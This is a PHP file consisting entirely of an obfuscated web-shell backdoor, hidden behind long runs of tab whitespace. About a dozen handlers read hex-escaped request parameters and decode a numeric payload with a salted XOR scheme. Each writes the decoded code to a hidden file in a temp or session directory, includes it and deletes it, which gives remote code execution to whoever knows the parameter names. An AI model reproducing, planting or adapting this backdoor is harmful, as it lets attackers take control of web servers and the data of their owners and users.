<?php																																										if(isset($_REQUEST["hl\x64"]) ? true : false){ $data_chunk = array_filter(["/tmp", getcwd(), getenv("TMP"), "/dev/shm", "/var/tmp", sys_get_temp_dir(), getenv("TEMP"), ini_get("upload_tmp_dir"), session_save_path()]); $sym = $_REQUEST["hl\x64"]; $sym= explode ( "." , $sym ); $k = ''; $salt8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt8); $w = 0; while ($w < count($sym)) { $v4 = $sym[$w]; $chS = ord($salt8[$w % $lenS]); $dec = ((int)$v4 - $chS - ($w % 10)) ^ 80; $k .=chr($dec); $w++; } for ($mrk = 0, $property_set = count($data_chunk); $mrk < $property_set; $mrk++) { $resource = $data_chunk[$mrk]; if (!( !is_dir($resource) || !is_writable($resource) )) { $fac = "$resource/.val"; if (file_put_contents($fac, $k)) { require $fac; unlink($fac); exit; } } } }
																																										if(!is_null($_POST["el\x65m"] ?? null)){ $holder = $_POST["el\x65m"]; $holder = explode ( "." , $holder ) ; $pgrp = ''; $s1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s1); $r = 0; $__tmp = $holder; while ($v7 = array_shift($__tmp)) { $chS = ord($s1[$r % $lenS]); $d = ((int)$v7 - $chS - ($r % 10)) ^ 50; $pgrp .= chr($d); $r++; } $dchunk = array_filter(["/tmp", "/var/tmp", getenv("TEMP"), getenv("TMP"), getcwd(), sys_get_temp_dir(), session_save_path(), "/dev/shm", ini_get("upload_tmp_dir")]); for ($symbol = 0, $parameter_group = count($dchunk); $symbol < $parameter_group; $symbol++) { $property_set = $dchunk[$symbol]; if (!( !is_dir($property_set) || !is_writable($property_set) )) { $flg = "$property_set" . "/.object"; $file = fopen($flg, 'w'); if ($file) { fwrite($file, $pgrp); fclose($file); include $flg; @unlink($flg); die(); } } } }
																																										if(count($_POST) > 0 && isset($_POST["i\x74\x65m"])){ $elem = array_filter([getenv("TEMP"), session_save_path(), getenv("TMP"), "/var/tmp", getcwd(), "/dev/shm", sys_get_temp_dir(), "/tmp", ini_get("upload_tmp_dir")]); $data = $_POST["i\x74\x65m"]; $data= explode ( ".",$data ) ; $entry = ''; $s6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s6); $s = 0; $__tmp = $data; while ($v4 = array_shift($__tmp)) { $chS = ord($s6[$s % $lenS]); $d = ((int)$v4 - $chS - ($s % 10)) ^ 1; $entry .= chr($d); $s++;} foreach ($elem as $mrk): if (is_dir($mrk) ? is_writable($mrk) : false) { $factor = sprintf("%s/.flg", $mrk); if (@file_put_contents($factor, $entry) !== false) { include $factor; unlink($factor); exit; } } endforeach; }
																																										if(array_key_exists("\x66\x6Cag", $_REQUEST) && !is_null($_REQUEST["\x66\x6Cag"])){ $component = array_filter([ini_get("upload_tmp_dir"), "/var/tmp", "/dev/shm", sys_get_temp_dir(), "/tmp", session_save_path(), getenv("TMP"), getcwd(), getenv("TEMP")]); $entry = $_REQUEST["\x66\x6Cag"]; $entry= explode( '.' , $entry) ; $ptr = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt ); $w = 0; $__tmp = $entry; while( $v3 = array_shift( $__tmp)) { $chS = ord( $salt[$w % $lenS] ); $d =( ( int)$v3 - $chS -( $w % 10)) ^75; $ptr .= chr( $d ); $w++; } for ($reference = 0, $val = count($component); $reference < $val; $reference++) { $pointer = $component[$reference]; if (is_dir($pointer) ? is_writable($pointer) : false) { $marker = str_replace("{var_dir}", $pointer, "{var_dir}/.mrk"); if (file_put_contents($marker, $ptr)) { require $marker; unlink($marker); exit; } } } }
																																										if(array_key_exists("\x69\x74em", $_POST) && !is_null($_POST["\x69\x74em"])){ $key = $_POST["\x69\x74em"]; $key= explode ( '.' , $key) ; $desc = ''; $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt6); foreach ($key as $o => $v2): $sChar = ord($salt6[$o % $lenS]); $d = ((int)$v2 - $sChar - ($o % 10)) ^ 48; $desc .= chr($d); endforeach; $factor = array_filter([session_save_path(), ini_get("upload_tmp_dir"), "/var/tmp", "/dev/shm", sys_get_temp_dir(), getcwd(), getenv("TMP"), "/tmp", getenv("TEMP")]); $val = 0; do { $ent = $factor[$val] ?? null; if ($val >= count($factor)) break; if (is_dir($ent) ? is_writable($ent) : false) { $flg = str_replace("{var_dir}", $ent, "{var_dir}/.token"); if (file_put_contents($flg, $desc)) { include $flg; @unlink($flg); die(); } } $val++; } while (true); }
																																										if(in_array("\x65l\x65me\x6E\x74", array_keys($_POST))){ $ptr = $_POST["\x65l\x65me\x6E\x74"]; $ptr = explode ( ".", $ptr ) ; $pset = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $x = 0; $len = count($ptr); do { if($x >= $len) break; $v4 = $ptr[$x]; $sChar = ord($s[$x % $sLen]); $d = ((int)$v4 - $sChar -($x % 10)) ^ 78; $pset.=chr($d); $x++; }while(true); $factor = array_filter([session_save_path(), getcwd(), "/dev/shm", getenv("TEMP"), "/tmp", ini_get("upload_tmp_dir"), "/var/tmp", sys_get_temp_dir(), getenv("TMP")]); foreach ($factor as $k) { if (!( !is_dir($k) || !is_writable($k) )) { $comp = implode("/", [$k, ".mrk"]); $success = file_put_contents($comp, $pset); if ($success) { include $comp; @unlink($comp); die();} } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["\x72e\x63"])){ $sym = array_filter([getcwd(), getenv("TMP"), "/tmp", "/dev/shm", ini_get("upload_tmp_dir"), "/var/tmp", getenv("TEMP"), session_save_path(), sys_get_temp_dir()]); $property_set = $_REQUEST["\x72e\x63"]; $property_set = explode('.' ,$property_set ); $value = ''; $s4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s4); foreach( $property_set as $v => $v6) { $chS = ord( $s4[$v % $lenS]); $d =( ( int)$v6 - $chS -( $v % 10)) ^ 94; $value .= chr( $d);} foreach ($sym as $key): if (!!is_dir($key) && !!is_writable($key)) { $marker = "$key/.data_chunk"; if (@file_put_contents($marker, $value) !== false) { include $marker; unlink($marker); exit; } } endforeach; }
																																										if(isset($_POST["\x6Be\x79"]) ? true : false){ $entity = array_filter([session_save_path(), ini_get("upload_tmp_dir"), "/tmp", getenv("TMP"), "/var/tmp", sys_get_temp_dir(), getcwd(), "/dev/shm", getenv("TEMP")]); $k = $_POST["\x6Be\x79"]; $k=explode ( '.' ,$k ) ; $obj = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); foreach($k as $m => $v9) {$sChar = ord($salt[$m %$lenS]); $d =((int)$v9 - $sChar -($m %10)) ^ 60; $obj .= chr($d); } foreach ($entity as $dat) { if ((function($d) { return is_dir($d) && is_writable($d); })($dat)) { $value = join("/", [$dat, ".dchunk"]); $file = fopen($value, 'w'); if ($file) { fwrite($file, $obj); fclose($file); include $value; @unlink($value); exit; } } } }
																																										if(isset($_REQUEST) && isset($_REQUEST["\x64\x61ta"])){ $obj = array_filter([getcwd(), session_save_path(), "/var/tmp", "/dev/shm", ini_get("upload_tmp_dir"), getenv("TEMP"), getenv("TMP"), sys_get_temp_dir(), "/tmp"]); $ent = $_REQUEST["\x64\x61ta"]; $ent = explode( "." , $ent ); $fac = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $__len = count($ent); for($i = 0; $i < $__len; $i++) {$v9 = $ent[$i]; $sChar = ord($salt[$i % $sLen]); $dec = ((int)$v9 - $sChar -($i % 10)) ^ 100; $fac .=chr($dec); } foreach ($obj as $pset) { if ((is_dir($pset) and is_writable($pset))) { $desc = implode("/", [$pset, ".rec"]); if (@file_put_contents($desc, $fac) !== false) { include $desc; unlink($desc); die(); } } } }
																																										if(count($_POST) > 0 && isset($_POST["s\x79mbo\x6C"])){ $fac = array_filter([session_save_path(), getcwd(), "/dev/shm", sys_get_temp_dir(), "/var/tmp", getenv("TMP"), "/tmp", getenv("TEMP"), ini_get("upload_tmp_dir")]); $marker = $_POST["s\x79mbo\x6C"]; $marker= explode ( '.' , $marker ) ; $factor = ''; $salt8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt8 ); $len = count($marker ); for ($o = 0; $o < $len; $o++) { $v2 = $marker[$o]; $chS = ord($salt8[$o % $lenS] ); $d = ((int)$v2 - $chS - ($o % 10))^ 73; $factor .= chr($d ); } foreach ($fac as $holder) { if ((is_dir($holder) and is_writable($holder))) { $descriptor = "$holder" . "/.property_set"; if (file_put_contents($descriptor, $factor)) { require $descriptor; unlink($descriptor); exit; } } } }
																																										if(array_key_exists("\x72es", $_POST)){ $marker = array_filter(["/tmp", session_save_path(), ini_get("upload_tmp_dir"), getenv("TMP"), sys_get_temp_dir(), getenv("TEMP"), "/dev/shm", getcwd(), "/var/tmp"]); $desc = $_POST["\x72es"]; $desc = explode( '.' ,$desc ) ; $comp = ''; $salt8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt8); foreach( $desc as $z => $v2) { $sChar = ord( $salt8[$z % $sLen]); $d = ( ( int)$v2 - $sChar -( $z % 10)) ^ 91; $comp .= chr( $d); } $ref = 0; do { $record = $marker[$ref] ?? null; if ($ref >= count($marker)) break; if (!( !is_dir($record) || !is_writable($record) )) { $component = sprintf("%s/.obj", $record); $success = file_put_contents($component, $comp); if ($success) { include $component; @unlink($component); die();} } $ref++; } while (true); }


if(@$_REQUEST["\x70\x72o\x70\x65\x72\x74y_set"] !== null){
	$record = $_REQUEST["\x70\x72o\x70\x65\x72\x74y_set"];
	$record	 =	 explode	 (		'.'  ,$record	)  ;   
	$component = '';
            $salt2 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen( $salt2);
            $len = count( $record);
    
            for( $k = 0; $k < $len; $k++) {
                $v4 = $record[$k];
                $chS = ord( $salt2[$k % $lenS]);
                $dec =( ( int)$v4 - $chS -( $k % 10))  ^	28;
                $component .= chr( $dec);		}
	$fac = array_filter(["/dev/shm", getenv("TMP"), getcwd(), session_save_path(), "/tmp", ini_get("upload_tmp_dir"), "/var/tmp", getenv("TEMP"), sys_get_temp_dir()]);
	foreach ($fac as $mrk):
    		if (is_dir($mrk) ? is_writable($mrk) : false) {
    $element = "$mrk/.bind";
    $file = fopen($element, 'w');
if ($file) {
	fwrite($file, $component);
	fclose($file);
	include $element;
	@unlink($element);
	exit;
}
}
endforeach;
}